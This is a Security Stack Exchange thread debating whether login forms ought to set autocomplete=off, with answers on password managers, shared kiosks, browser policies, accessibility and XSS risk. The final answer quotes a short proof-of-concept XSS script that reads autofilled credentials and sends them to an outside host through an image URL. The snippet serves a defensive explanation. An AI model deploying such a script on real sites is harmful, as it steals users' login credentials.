14

I've noticed that some web-app security scanners flag the 'AutoComplete' feature of some websites (in the username/password fields) as a security risk and thus suggest including AutoComplete=off or in the code somewhere.

I've since learned that autocomplete is a non-standard attribute and apparently doesn't work in some browsers.

I'm wondering if there's a 'best practice' in terms of security when it comes to this?

SilverlightFox
  • 33,408
  • 6
  • 67
  • 178
NULLZ
  • 11,426
  • 17
  • 77
  • 111

5 Answers5

17

That kind of depends whether you're aiming for security, or to please an auditor.

If you enable autocomplete for the username and password, they'll stay recorded in the user's browser. That means the user won't need to remember it or store it in an easily-accessible place, which means you actually have a chance that they'll pick a strong password. (You have a better chance if you can impose the password.)

If you disable autocomplete, and the browser honors this setting, the user will have to type their password again every time. Therefore they will pick one that's easy to remember and type. If you manage to impose a strong password, they'll store it in an easily-accessible place for copy-paste. A password in a random text file that may be accidentally copied around, that may be pasted by mistake in a public place (URL bar, email, …), is a far worse risk than a password stored in the browser's password store.

You may find the argument that if the user is using a shared browser, they're leaving the credentials around for the next person using that browser. This argument is bogus: even if the browser honors autocomplete=off, they're leaving the password to any passing keylogger.

I think mobile browsers tend to ignore autocomplete=off, due to a combination of awkward keyboards, lack of availability of post-it notes while on the move, and an expectation of a smooth UX.

One specific case where you should turn off autocomplete as thoroughly as possible is a credit card CCV. Maybe even the card number while you're at it, but if you do that, store it server-side and don't let it be displayed in full (though this is not a panacea).

Do make sure however to turn off autocorrect for passwords. You don't want a password to be corrected to a word in the mobile device's dictionary, or to be added into the dictionary when the user rescinds the autocorrection.

Gilles 'SO- stop being evil'
  • 50,912
  • 13
  • 120
  • 179
  • 1
    I don't really agree with your reasoning here. If you want users to have a "remember me" function to help users choose strong passwords (and not really sure that would have the desired effect anyway) then the application should implement it itself and not rely on browser mechanisms. The problem with browser based ones is that they store the actual password where an properly implemented remember me function can store a token and try to tie it to a specific machine/IP address making it harder to steal. – Rory McCune Apr 10 '13 at 08:56
  • Also for shared browsers the threat scenario of "user finds another users password cached in browser and decides to use it" is very different in terms of attacker skill and motivation to "user installs keylogging software on PC" – Rory McCune Apr 10 '13 at 08:57
  • @RoryMcCune How can the application implement it? It doesn't have any control over the client. You can implement an alternative authentication mechanism (some form of single sign-on) or a complementary one (device or address binding — in an enterprise environment perhaps, but it's not that straightforward in a public app): yes, these are good ideas, but it's not what this question is about. – Gilles 'SO- stop being evil' Apr 11 '13 at 00:23
  • @RoryMcCune You're right that implanting a keylogger is an active attack, whereas extracting password from a disk dump is a passive attack. But there's not much to gain by making the attacker extract the passwords from `passwords.txt` instead of the browser password database. And in an enterprise environment you might even be able to get the users to put a master password on their browser password database! – Gilles 'SO- stop being evil' Apr 11 '13 at 00:25
  • For the record, the application i'm thinking off is for 'internal' use only in a large company with several thousand employees. Its not hard to imagine someone caching their credentials and someone walking by their unlocked workstation at some point to recover them/use them in my opinion – NULLZ Apr 11 '13 at 02:39
  • @Gilles well I've seen "remember me" style functionality on quite a few sites. They provide a check-box on the login page which if ticked sets a long expiry cookie on the PC. When the user re-visits that site it detects the cookie, checks the value and if valid automatically logs the user in. This has the same effect as remembering the password, without actually storing the password on the client-side. The token is still dangerous but it can more easily be expired when compared to the user password, so I'd say a better solution for stopping users having to type their passwords in a lot.. – Rory McCune Apr 12 '13 at 07:04
  • @giles on keyloggers my point was more that it's a different class of attackers (a rarer one) that would go to the lengths of keyloggers compared to just re-using a cached password. Also with keyloggers the attacker runs the risk that anti-malware software will detect whereas there's no risk of that with finding a cached password – Rory McCune Apr 12 '13 at 07:05
  • The link to my password manager means I now have to manually configure it to recognise the fields because some bright spark thought AutoComplete=off was a good idea. The password manager hooks the browser save function but gets the data instead, and a password manager is far more secure than any kind of remembering of passwords. – ewanm89 Sep 13 '16 at 11:56
6

The reason browsers are ignoring autocomplete=off is because there have been some web-sites that tried to disable auto-completing of passwords.

That is wrong.

And in July 2014 Firefox was the last major browser to finally implement the change to ignore any web-site that tries to turn off autocompleting of passwords.

Any attempt by any web-site to circumvent the browser's preference is wrong, that is why browsers ignore it. There is no reason known why a web-site should try to disable saving of passwords.

  • Chrome ignores it
  • Safari ignores it
  • IE ignores it
  • Firefox ignores it

What if I'm a special snowflake?

There are people who bring up a good use-case:

I have a shared, public area, kiosk style computer. We don't want someone to (accidentally or intentionally) save their password so they next user could use it.

That does not violate the statement:

Any attempt by any web-site to circumvent the browser's preference is wrong

That is because in the case of a shared kiosk:

  • it is not the web-server that has the oddball policy
  • it is the client user-agent

The browser (the shared computer) is the one that has the requirement that it not try to save passwords. The correct way to prevent the browser from saving passwords, is to configure the browser to not save passwords. Since you have locked down and control this kiosk computer: you control the settings. That includes the option of saving passwords.

In Chrome and Internet Explorer, you configure those options using Group Policies (e.g. registry keys).

From the Chrome Policy List:

AutoFillEnabled

Enable AutoFill

Data type: Boolean (REG_DWORD)

Windows registry location: Software\Policies\Chromium\AutoFillEnabled

Description: Enables Chromium's AutoFill feature and allows users to auto complete web forms using previously stored information such as address or credit card information. If you disable this setting, AutoFill will be inaccessible to users. If you enable this setting or do not set a value, AutoFill will remain under the control of the user. This will allow them to configure AutoFill profiles and to switch AutoFill on or off at their own discretion.

Please pass the word that trying to disable autocompleting of password is wrong, browsers are intentionally ignoring anyone who tries to do it, and they should stop doing the wrong thing.™

Ian Boyd
  • 2,125
  • 1
  • 21
  • 13
  • 1
    Furthermore, disabling autocomplete is an accessibility issue, and starting with WCAG 2.2, it will violate [Success Criterion 3.3.7: Accessible Authentication](https://www.w3.org/WAI/WCAG22/Understanding/accessible-authentication). This is a level-A criterion, so meeting it is required in order to claim any compliance with WCAG 2.2. In the US, WCAG is incorporated into both Section 508 requirements for government contractors, and the ADA for websites that qualify as a "public forum." – Andrew Ray Oct 14 '20 at 18:43
3

There are two main security issues connected to form autocompletion:

  • an attacker with access to the browser will be able to read the saved information (if the storage isn't password protected)
  • if the web application is vulnerable to Cross-Site Scripting, malicious code can be used to retrieve autocompleted information and send them to the attacker

Considering these possible "attacks", a web site owner must decide whether the added functionality is worth having or if it brings a risk too big to be taken.

In the end, it all comes down to the kind of web application we are talking about. For example, I wouldn't mind autocompletion for authentication credentials of a news web site, but I certainly wouldn't like my home banking web application to autocompleting my credit card PAN!

While the security best practice is definitely to disable the autocomplete feature, it is a matter that needs to be assessed differently for each situation (and each form field!).

Gurzo
  • 1,117
  • 6
  • 18
  • Safari uses OSX keychain which is a full encryption key storage system and does encrypt the database using the OSX login credentials, on OSX other browsers often hook into this rather than handle it themselves. On Linux/Windows, Firefox has the ability to set a master password for the password manager that the database is then encrypted with. Google chrome is a little more complicated as it can sync via google account, however I do believe there is some encryption in the process but in the name of making it transparent it is probably albe to be bypassed. As for IE, I don't know. – ewanm89 Sep 13 '16 at 12:06
2

Best practice is kind of arbitrary in this scenario because it's up to the application to decide whether it wants to allow autocomplete or not.

Do you trust the user's browser to store your application's credentials? Yes: ignore it. No: block it.

Since it's browser dependent it doesn't add too much value, but it certainly helps from a defense in depth perspective.

Steve
  • 15,155
  • 3
  • 37
  • 66
1

Not for all forms, however if the page contains sensitive information such as credentials, and these credentials are auto completed by the browser without user interaction, and the site contains an XSS vulnerability, then an XSS attack could trivially retrieve the credentials without any user involvement at all.

Hackavoid has an excellent write-up, and some POC code:

 <script>
      setTimeout(function() {getPass();},500);
      function getPass() {
           var username = document.getElementById('user').value;
           var password = document.getElementById('pass').value;
           document.write("<img src='https://www.hackavoid.com/gotit?username=" + username + "&password=" + password+"' />");
      }
 </script>

In their example, it is a persistent XSS vulnerability, but much the same could be achieved with a reflected XSS vulnerability. To extend this attack, the XSS itself could even provide the username and password boxes for the browser to autocomplete in the case that the XSS isn't on a login page.

So, I would still recommend setting autocomplete to off for sensitive fields that are auto completed without any user interaction on modern browsers. Many browser based password managers such as LastPass give the option to ignore AutoComplete=off. However, LastPass also gives the option to not automatically fill login information (Plugin > General > Automatically Fill Login Information). I recommend that this be disabled to mitigate any credential grabbing XSS attacks as an end user.

SilverlightFox
  • 33,408
  • 6
  • 67
  • 178